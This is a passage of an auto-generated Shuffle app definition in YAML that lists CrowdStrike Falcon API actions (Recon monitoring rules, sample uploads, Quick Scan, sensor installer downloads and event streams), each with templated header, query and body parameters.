appid: "" - tags: [] - tested: false - parameters: - - description: Action IDs. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_an_action_from_a_monitoring_rule_based_on_the_action_id - label: Recon - Delete an action from a monitoring rule based on the action ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of the action. - name: id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_actions_for_a_monitoring_rule - label: Recon - Create actions for a monitoring rule Accepts a list of actions that will - be attached to the monitoring rule - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "actions": "${actions}", - "rule_id": "${rule_id}" - } - value: |- - { - "actions": "${actions}", - "rule_id": "${rule_id}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_an_action_for_a_monitoring_rule - label: Recon - Update an action for a monitoring rule - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "frequency": "${frequency}", - "id": "${id}", - "recipients": "${recipients}", - "status": "${status}" - } - value: |- - { - "frequency": "${frequency}", - "id": "${id}", - "recipients": "${recipients}", - "status": "${status}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: query_actions - label: Recon - Query actions based on provided criteria Use the IDs from this response to - get the action entities on GET entitiesactionsv1 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return IDs. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of IDs to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Possible order by fields: created_timestamp, updated_timestamp. - Ex: ''updated_timestamp|desc''.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'FQL query to filter actions by. Possible filter properties are: - [id cid user_uuid rule_id type frequency recipients status created_timestamp - updated_timestamp]' - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Free text search across all indexed fields - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: query_monitoring_rules - label: Recon - Query monitoring rules based on provided criteria Use the IDs from this response - to fetch the rules on entitiesrulesv1 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Starting index of overall result set from which to return ids. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Number of ids to return. - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Possible order by fields: created_timestamp, last_updated_timestamp. - Ex: ''last_updated_timestamp|desc''.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'FQL query to filter rules by. Possible filter properties are: [id - cid user_uuid topic priority permissions filter status created_timestamp last_updated_timestamp]' - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Free text search across all indexed fields. - name: q - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_notifications_based_on_their_ids - label: Recon - Get notifications based on their IDs IDs can be retrieved using the GET queriesnotificationsv1 - endpoint This endpoint will return translated notification content The only target - language available is English - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Notification IDs. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_detailed_notifications_based_on_their_ids_with_raw_intelligence_content_that_generated_the_match - label: Recon - Get detailed notifications based on their IDs These include the raw intelligence - content that generated the match - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Notification IDs. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_monitoring_rules_rules_by_provided_ids - label: Recon - Get monitoring rules rules by provided IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: IDs of rules. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_monitoring_rules - label: Recon - Delete monitoring rules - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: IDs of rules. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_monitoring_rules - label: Recon - Create monitoring rules - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_monitoring_rules - label: Recon - Update monitoring rules - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_notifications_based_on_their_ids - label: Recon - Get notifications based on their IDs IDs can be retrieved using the GET queriesnotificationsv1 - endpoint - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Notification IDs. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: upload_a_file_for_further_cloud_analysis - label: Sample Uploads - Upload a file for further cloud analysis After uploading call the specific - analysis API endpoint - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Name of the file. - name: file_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: A descriptive comment to identify the file for other users. - name: comment - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: "Defines visibility of this file in Falcon MalQuery, either via the - API or the Falcon console.\n\n- `true`: File is only shown to users within your - customer account\n- `false`: File can be seen by other CrowdStrike customers - \n\nDefault: `true`." - name: is_confidential - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_the_file_associated_with_the_given_id_sha256 - label: Sample Uploads - retrieve the file associated with the given ID SHA256 - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The file SHA256. - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Flag whether the sample should be zipped and password protected with - pass='infected' - name: password_protected - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: find_ids_for_submitted_scans - label: Quick Scan - Find IDs for submitted scans by providing an FQL filter and paging details - Returns a set of volume IDs that match your criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Optional filter and sort criteria in the form of an FQL query. For - more information about FQL queries, see [our FQL documentation in Falcon](https://falcon.crowdstrike.com/support/documentation/45/falcon-query-language-feature-guide). - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving submissions from. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Maximum number of volume IDs to return. Max: 5000.' - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Sort order: `asc` or `desc`.' - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_scans_aggregations - label: Quick Scan - Get scans aggregations - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: body - example: |- - { - "date_ranges": "${date_ranges}", - "field": "${field}", - "filter": "${filter}", - "interval": "${interval}", - "min_doc_count": "${min_doc_count}", - "missing": "${missing}", - "name": "${name}", - "q": "${q}", - "ranges": "${ranges}", - "size": "${size}", - "sort": "${sort}", - "sub_aggregates": "${sub_aggregates}", - "time_zone": "${time_zone}", - "type": "${type}" - } - value: |- - { - "date_ranges": "${date_ranges}", - "field": "${field}", - "filter": "${filter}", - "interval": "${interval}", - "min_doc_count": "${min_doc_count}", - "missing": "${missing}", - "name": "${name}", - "q": "${q}", - "ranges": "${ranges}", - "size": "${size}", - "sort": "${sort}", - "sub_aggregates": "${sub_aggregates}", - "time_zone": "${time_zone}", - "type": "${type}" - } - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: check_the_status_of_a_volume_scan - label: Quick Scan - Check the status of a volume scan Time required for analysis increases with - the number of samples in a volume but usually it should take less than 1 minute - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: ID of a submitted scan - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: submit_a_volume_of_files_for_ml_scanning - label: Quick Scan - Submit a volume of files for ml scanning Time required for analysis increases - with the number of samples in a volume but usually it should take less than 1 - minute - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_sensor_installer_ids_by_provided_query - label: Sensor Download - Get sensor installer IDs by provided query - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first item to return, where 0 is the latest item. Use with the - limit parameter to manage pagination of results. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'The number of items to return in this response (default: 100, max: - 500). Use with the offset parameter to manage pagination of results.' - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Sort items using their properties. Common sort options include: - -
  • version|asc
  • release_date|desc
- name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter items using a query in Falcon Query Language (FQL). An asterisk wildcard * includes all results. - - Common filter options include: -
  • platform:"windows"
  • version:>"5.2"
- name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_sensor_installer_details_by_provided_query - label: Sensor Download - Get sensor installer details by provided query - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The first item to return, where 0 is the latest item. Use with the - limit parameter to manage pagination of results. - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'The number of items to return in this response (default: 100, max: - 500). Use with the offset parameter to manage pagination of results.' - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Sort items using their properties. Common sort options include: - -
  • version|asc
  • release_date|desc
- name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: |- - Filter items using a query in Falcon Query Language (FQL). An asterisk wildcard * includes all results. - - Common filter options include: -
  • platform:"windows"
  • version:>"5.2"
- name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_sensor_installer_details_by_provided_sha256_ids - label: Sensor Download - Get sensor installer details by provided SHA256 IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the installers - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: download_sensor_installer_by_sha256_id - label: Sensor Download - Download sensor installer by SHA256 ID - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: SHA256 of the installer to download - name: id - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_ccid_to_use_with_sensor_installers - label: Sensor Download - Get CCID to use with sensor installers - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: refresh_an_active_event_stream - label: Event Streams - Refresh an active event stream Use the URL shown in a GET sensorsentitiesdatafeedv2 - response - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Action name. Allowed value is refresh_active_stream_session. - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Label that identifies your connection. Max: 32 alphanumeric characters - (a-z, A-Z, 0-9).' - name: appId - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Generated by shuffler.io OpenAPI - name: partition - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: get_all_event_streams - label: Event Streams - Discover all event streams in your environment - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: 'Label that identifies your connection. Max: 32 alphanumeric characters - (a-z, A-Z, 0-9).' - name: appId - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: 'Format for streaming events. Valid values: json, flatjson' - name: format - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -authentication: - 